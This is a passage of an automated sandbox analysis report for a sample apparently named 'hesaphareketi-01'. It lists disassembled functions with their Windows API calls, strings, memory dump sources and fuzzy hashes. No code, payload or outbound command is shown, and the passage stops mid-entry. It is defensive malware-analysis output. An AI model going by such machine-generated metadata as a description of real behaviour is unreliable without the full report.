Opcode Fuzzy Hash: 1fa7a848999a6a82e6943152a9856c355e6e1e90088799d98739f212ba5528bb
Instruction Fuzzy Hash: B821D822B2CA4262EF9CAF37B2D167D53D0DB89794FC42231DF5C83A95DD18D5839600

Function 00007FF7341ED9F0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 227threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 00007FF7341EDAB1
SwitchToThread.KERNEL32 ref: 00007FF7341EDB5A
SwitchToThread.KERNEL32 ref: 00007FF7341EDB63
SwitchToThread.KERNEL32 ref: 00007FF7341EDC9A
SwitchToThread.KERNEL32 ref: 00007FF7341EDCA3
SwitchToThread.KERNEL32 ref: 00007FF7341EDCCD

Strings

X@2, xrefs: 00007FF7341EDA54

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: SwitchThread
String ID: X@2
API String ID: 115865932-2772482207
Opcode ID: 8855a6a9be19cc912e040998a95c185b2b15f028c0bb56cd1e5e4913b5d84e9d
Instruction ID: 42e9128d08732e2c81f41352d331b4fcd9c249439b5d7ffc607aef82cbb58b46
Opcode Fuzzy Hash: 8855a6a9be19cc912e040998a95c185b2b15f028c0bb56cd1e5e4913b5d84e9d
Instruction Fuzzy Hash: 61A15F3AE0C94367FA6CBF27B8C0675A291AF46754F840139D85DD36D1DE3DB880B628

Function 00007FF7341DA990 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00007FF7341D5E6A), ref: 00007FF7341DA9B3
GetProcAddress.KERNEL32(?,?,?,?,?,00007FF7341D5E6A), ref: 00007FF7341DA9C8
GetEnabledXStateFeatures.KERNEL32(?,?,?,?,?,00007FF7341D5E6A), ref: 00007FF7341DA9D5
InitializeContext.KERNEL32(?,?,?,?,?,00007FF7341D5E6A), ref: 00007FF7341DAA14
GetLastError.KERNEL32(?,?,?,?,?,00007FF7341D5E6A), ref: 00007FF7341DAA22
InitializeContext.KERNEL32(?,?,?,?,?,00007FF7341D5E6A), ref: 00007FF7341DAA76

Strings

kernel32.dll, xrefs: 00007FF7341DA9AC
InitializeContext2, xrefs: 00007FF7341DA9BE

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: ContextInitialize$AddressEnabledErrorFeaturesHandleLastModuleProcState
String ID: InitializeContext2$kernel32.dll
API String ID: 4102459504-3117029998
Opcode ID: edabfeb27e12de1ac58e4de23520e38ce78f3386a9e832e640fcf79b6a971462
Instruction ID: 650230c56ccf75286944b63513d337358b99ed5c8ccc2cab28ec2ea6b94bf1c1
Opcode Fuzzy Hash: edabfeb27e12de1ac58e4de23520e38ce78f3386a9e832e640fcf79b6a971462
Instruction Fuzzy Hash: 97318362A09B56A1FE08EF56B980279E3A0EF45BD0F840435DD4D937A4DF7CE446D720

Function 00007FF7341D5D00 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 83threadlibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00007FF7341DAD41
GetProcAddress.KERNEL32 ref: 00007FF7341DAD51
GetLastError.KERNEL32 ref: 00007FF7341DADA4
SuspendThread.KERNEL32 ref: 00007FF7341DADBD
GetThreadContext.KERNEL32 ref: 00007FF7341DADD8
ResumeThread.KERNEL32 ref: 00007FF7341DAE02

Strings

kernel32, xrefs: 00007FF7341DAD34
QueueUserAPC2, xrefs: 00007FF7341DAD4A

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: Thread$AddressContextErrorLastLibraryLoadProcResumeSuspend
String ID: QueueUserAPC2$kernel32
API String ID: 3714266957-4022151419
Opcode ID: 1854c6662005a05bccb6cd86df4f5362b47cb18156353affd7ed6c801de71de6
Instruction ID: ddbfc9b948aa187294029b4fb9b2d2b683755e430dcd5811faaac888a36942d8
Opcode Fuzzy Hash: 1854c6662005a05bccb6cd86df4f5362b47cb18156353affd7ed6c801de71de6
Instruction Fuzzy Hash: 54317F62A08E4261EE58FF1BB8C4379A361EF46BE4F800234D85ED76E4DF3CE4019660

Function 00007FF7341F2240 Relevance: 10.6, APIs: 7, Instructions: 134threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF7341F224F
EnterCriticalSection.KERNEL32 ref: 00007FF7341F2287
LeaveCriticalSection.KERNEL32 ref: 00007FF7341F229F
SwitchToThread.KERNEL32 ref: 00007FF7341F235A
SwitchToThread.KERNEL32 ref: 00007FF7341F2363
SwitchToThread.KERNEL32 ref: 00007FF7341F238D
LeaveCriticalSection.KERNEL32 ref: 00007FF7341F2432

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: Thread$CriticalSectionSwitch$Leave$CurrentEnter
String ID:
API String ID: 2584832284-0
Opcode ID: 911a7cc94664f48a14bb56dfd2eba76f0f521efe915744327b0e3e75a7d93955
Instruction ID: 85a8ebe1bd25ee9dd0ac4f1890b6fb7a16dce1295d9b9fc1a1d8737f1d5f651e
Opcode Fuzzy Hash: 911a7cc94664f48a14bb56dfd2eba76f0f521efe915744327b0e3e75a7d93955
Instruction Fuzzy Hash: DE513E61E0D913B6FA1CBF27B8C1575E291AF49700FC00239E55DD3292CE3DB842AA72

Function 00007FF7341D6100 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF7341D613A
GetCurrentProcess.KERNEL32 ref: 00007FF7341D6148
GetCurrentThread.KERNEL32 ref: 00007FF7341D6150
DuplicateHandle.KERNEL32 ref: 00007FF7341D6174

Part of subcall function 00007FF7341DA840: VirtualQuery.KERNEL32 ref: 00007FF7341DA872

RaiseFailFastException.KERNEL32 ref: 00007FF7341D61A2

Strings

, xrefs: 00007FF7341D61B6

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: Current$Thread$DuplicateExceptionFailFastHandleProcessQueryRaiseVirtual
String ID:
API String ID: 510365852-3916222277
Opcode ID: fabd27e107bbfd348c5fcb363ee42fc01df79ff2f7dd51d048f6b6b90d90cb7c
Instruction ID: 8f73d5e803eeb54d74bf7d42bdf2b82d285dc04d4c335ea7495920106353b528
Opcode Fuzzy Hash: fabd27e107bbfd348c5fcb363ee42fc01df79ff2f7dd51d048f6b6b90d90cb7c
Instruction Fuzzy Hash: B311B372608B818AD754FF16B44019AB3A1FB457B8F440335EABD4B7D6CF39D4418700

Function 00007FF7341FD410 Relevance: 9.2, APIs: 6, Instructions: 189threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 00007FF7341FD4DA
SwitchToThread.KERNEL32 ref: 00007FF7341FD4E3
SwitchToThread.KERNEL32 ref: 00007FF7341FD50D
SwitchToThread.KERNEL32 ref: 00007FF7341FD63F
SwitchToThread.KERNEL32 ref: 00007FF7341FD648
SwitchToThread.KERNEL32 ref: 00007FF7341FD672

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: SwitchThread
String ID:
API String ID: 115865932-0
Opcode ID: cc35ecd5a93063da1183701248f17dca1c596e2e1d8d9986a40f28483dcd9575
Instruction ID: 336a8976f99be9f28419eeeb11c8e537e941f71185d1ab295ce5594792266598
Opcode Fuzzy Hash: cc35ecd5a93063da1183701248f17dca1c596e2e1d8d9986a40f28483dcd9575
Instruction Fuzzy Hash: 99812021A0D90366FA1CBF27B8C0635A2D16F45754F840239DA5EC76E5DE3DF842BA31

Function 00007FF7341F9F60 Relevance: 9.2, APIs: 6, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8155321a93176bc4c4200af923682af65ca18711955211ed52f216cd2b673b30
Instruction ID: 361a4ece5902965c6c328a8be92ac8594639eb0b68ccc0cb0b99aa0e967cdd6f
Opcode Fuzzy Hash: 8155321a93176bc4c4200af923682af65ca18711955211ed52f216cd2b673b30
Instruction Fuzzy Hash: 6C71A322A0EA42A1EA58BF63B580279E3D5FF41BD4F880139DE5D97695DF3CE441A320

Function 00007FF7341FF8F0 Relevance: 7.8, APIs: 6, Instructions: 317COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7341FFCDA
LeaveCriticalSection.KERNEL32 ref: 00007FF7341FFD1F
EnterCriticalSection.KERNEL32 ref: 00007FF7341FFDD7
LeaveCriticalSection.KERNEL32 ref: 00007FF7341FFDF8
EnterCriticalSection.KERNEL32 ref: 00007FF7341FFE3C
LeaveCriticalSection.KERNEL32 ref: 00007FF7341FFE5D

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: dfead87ec6108077648ad3825d3ea0080477edc8ca47081f20bdd0a0302174ed
Instruction ID: 5c393fb41bdc3aee75531f715d8f02de5136935ae2bf64cd5e68f55a7550b2c0
Opcode Fuzzy Hash: dfead87ec6108077648ad3825d3ea0080477edc8ca47081f20bdd0a0302174ed
Instruction Fuzzy Hash: 29E10062B06E56A5DA18DF52E8946B8A390FF043F4F804336DA3D97BD8DE38D019D310

Function 00007FF7341D3500 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

RaiseFailFastException.KERNEL32 ref: 00007FF7341D35A0
RaiseFailFastException.KERNEL32 ref: 00007FF7341D36A9
RaiseFailFastException.KERNEL32 ref: 00007FF7341D36E6

Strings

Process is terminating due to StackOverflowException., xrefs: 00007FF7341D358A

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: ExceptionFailFastRaise
String ID: Process is terminating due to StackOverflowException.
API String ID: 2546344036-2200901744
Opcode ID: a73f9b0b1186b8bf137041686a0ee60befa2ebf5b9cf55ecf46c091e51a068e4
Instruction ID: 10ab5ead5452b7c74e14079001085887467cf8c49a5e9965888c3df8410398cc
Opcode Fuzzy Hash: a73f9b0b1186b8bf137041686a0ee60befa2ebf5b9cf55ecf46c091e51a068e4
Instruction Fuzzy Hash: 2051B873A08E4661EE58AF17E8C03B993A0EF4AB94F844135D91ED7790DF3DE455A320

Function 00007FF734212DC0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,?,000002367F400000,00007FF734212EBD,?,?,00000000,00007FF7341FF8AC,?,FFFFFFFF,47AE147AE147AE15,00007FF7341E945C), ref: 00007FF734212E12
GetProcAddress.KERNEL32(?,?,?,?,000002367F400000,00007FF734212EBD,?,?,00000000,00007FF7341FF8AC,?,FFFFFFFF,47AE147AE147AE15,00007FF7341E945C), ref: 00007FF734212E2C

Strings

GetEnabledXStateFeatures, xrefs: 00007FF734212E22
kernel32.dll, xrefs: 00007FF734212DFD

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: GetEnabledXStateFeatures$kernel32.dll
API String ID: 2574300362-4754247
Opcode ID: 14ea90d1c4bf5a15a4085266709c85a67ad0a07a71323ba950ff44953a265e56
Instruction ID: 11d245af992c869873ea92042eeaa1e82e60f91f456b80e3d1e451abbb5e5023
Opcode Fuzzy Hash: 14ea90d1c4bf5a15a4085266709c85a67ad0a07a71323ba950ff44953a265e56
Instruction Fuzzy Hash: 1C21EB51F1C15252FFAC9B66E8D137993A19B54390FC44039E90EF67D4DD1EF880A620

Function 00007FF7341DAF90 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,?,00007FF7341D53FB), ref: 00007FF7341DAFA3
GetProcAddress.KERNEL32(?,?,?,?,00007FF7341D53FB), ref: 00007FF7341DAFB8

Strings

kernel32, xrefs: 00007FF7341DAF96
GetEnabledXStateFeatures, xrefs: 00007FF7341DAFAE

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: GetEnabledXStateFeatures$kernel32
API String ID: 2574300362-4273408117
Opcode ID: 274e0da2db24af44fa31abf1e79a32452a2f4646b1ed88df6da63e7f0bd2eccf
Instruction ID: e45e8f7b53de73d1acc3118edbdf29fdf46fcbeb60504d5c20a41cf2d46dd969
Opcode Fuzzy Hash: 274e0da2db24af44fa31abf1e79a32452a2f4646b1ed88df6da63e7f0bd2eccf
Instruction Fuzzy Hash: 10E0BF55F0AB12A2FE4DBF576CD127893516F45781FC84078C90D92390EE3CA659A720

Function 00007FF7341DAFE0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,?,00007FF7341D5376), ref: 00007FF7341DAFF3
GetProcAddress.KERNEL32(?,?,?,?,00007FF7341D5376), ref: 00007FF7341DB008

Strings

kernel32, xrefs: 00007FF7341DAFE6
GetEnabledXStateFeatures, xrefs: 00007FF7341DAFFE

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: GetEnabledXStateFeatures$kernel32
API String ID: 2574300362-4273408117
Opcode ID: ce6f5296a204aba61ce9ef49dc43d2f12b23842fbe95b74c7dd249d319ed59f7
Instruction ID: 8d5f2fa6c870154c6b8a9087a008e94d3eafc30e8031b6d0146797c24e0899f7
Opcode Fuzzy Hash: ce6f5296a204aba61ce9ef49dc43d2f12b23842fbe95b74c7dd249d319ed59f7
Instruction Fuzzy Hash: 3CE04F55F1A602A2FF4DBF53ACC53B593606F99741FC84138C91E92391AD3CA24AB720

Function 00007FF73420E700 Relevance: 6.1, APIs: 4, Instructions: 124threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 00007FF73420E77B
SwitchToThread.KERNEL32 ref: 00007FF73420E819
SwitchToThread.KERNEL32 ref: 00007FF73420E82E

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: SwitchThread
String ID:
API String ID: 115865932-0
Opcode ID: f4aaa3f96c492ce6e17f0f5d835cb774c61d338c5d6bba280d5d4821285017cf
Instruction ID: 6a1f56622fc5709d4cc5efc0548a3b000cfd6ee8ec324a3fa6eb0d25fc77fac5
Opcode Fuzzy Hash: f4aaa3f96c492ce6e17f0f5d835cb774c61d338c5d6bba280d5d4821285017cf
Instruction Fuzzy Hash: 0D410832E0855291EF6CAE27D0C413DE2D0EF14F94F94853AD61ED67E5CE2DE480A762

Function 00007FF7341F19FD Relevance: 6.1, APIs: 4, Instructions: 119threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 00007FF7341F1B22
SwitchToThread.KERNEL32 ref: 00007FF7341F1DAE

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: SwitchThread
String ID:
API String ID: 115865932-0
Opcode ID: 44b941e54b3c05b20f0b851b031452e57e334a5e19445be4892a4e80d52cd89e
Instruction ID: 37d87e9f65da8fae5b7fc7546072106b0241e0f000ff300c79644f8ba4c8896d
Opcode Fuzzy Hash: 44b941e54b3c05b20f0b851b031452e57e334a5e19445be4892a4e80d52cd89e
Instruction Fuzzy Hash: 42514E21E0A94366FA9CBF27B9C4675B2E46F01750F844239DA1DD72D1DE2DBC02B630

Function 00007FF73420EE70 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

DebugBreak.KERNEL32 ref: 00007FF73420EF49
DebugBreak.KERNEL32 ref: 00007FF73420EF66
DebugBreak.KERNEL32 ref: 00007FF73420EF81
DebugBreak.KERNEL32 ref: 00007FF73420EF9A

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: BreakDebug
String ID:
API String ID: 456121617-0
Opcode ID: e4ab8514af3f6f014f6506373d7b9cbb823d7638c04cae421d012170a137b048
Instruction ID: 0991d4f105f01a96755388ab579b474d7193211aa49081799b53c3e81d9fca84
Opcode Fuzzy Hash: e4ab8514af3f6f014f6506373d7b9cbb823d7638c04cae421d012170a137b048
Instruction Fuzzy Hash: D0411922A0D685A1FA596F12A08C379E7E0EF44B54F890438CE4DA7395CFBDE4C1D322

Function 00007FF7341FD010 Relevance: 6.1, APIs: 4, Instructions: 85COMMON

Download Yara Rule

APIs

DebugBreak.KERNEL32(?,?,00000000,?), ref: 00007FF7341FD0C9
DebugBreak.KERNEL32(?,?,00000000,?), ref: 00007FF7341FD0E6
DebugBreak.KERNEL32(?,?,00000000,?), ref: 00007FF7341FD106
DebugBreak.KERNEL32(?,?,00000000,?), ref: 00007FF7341FD129

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
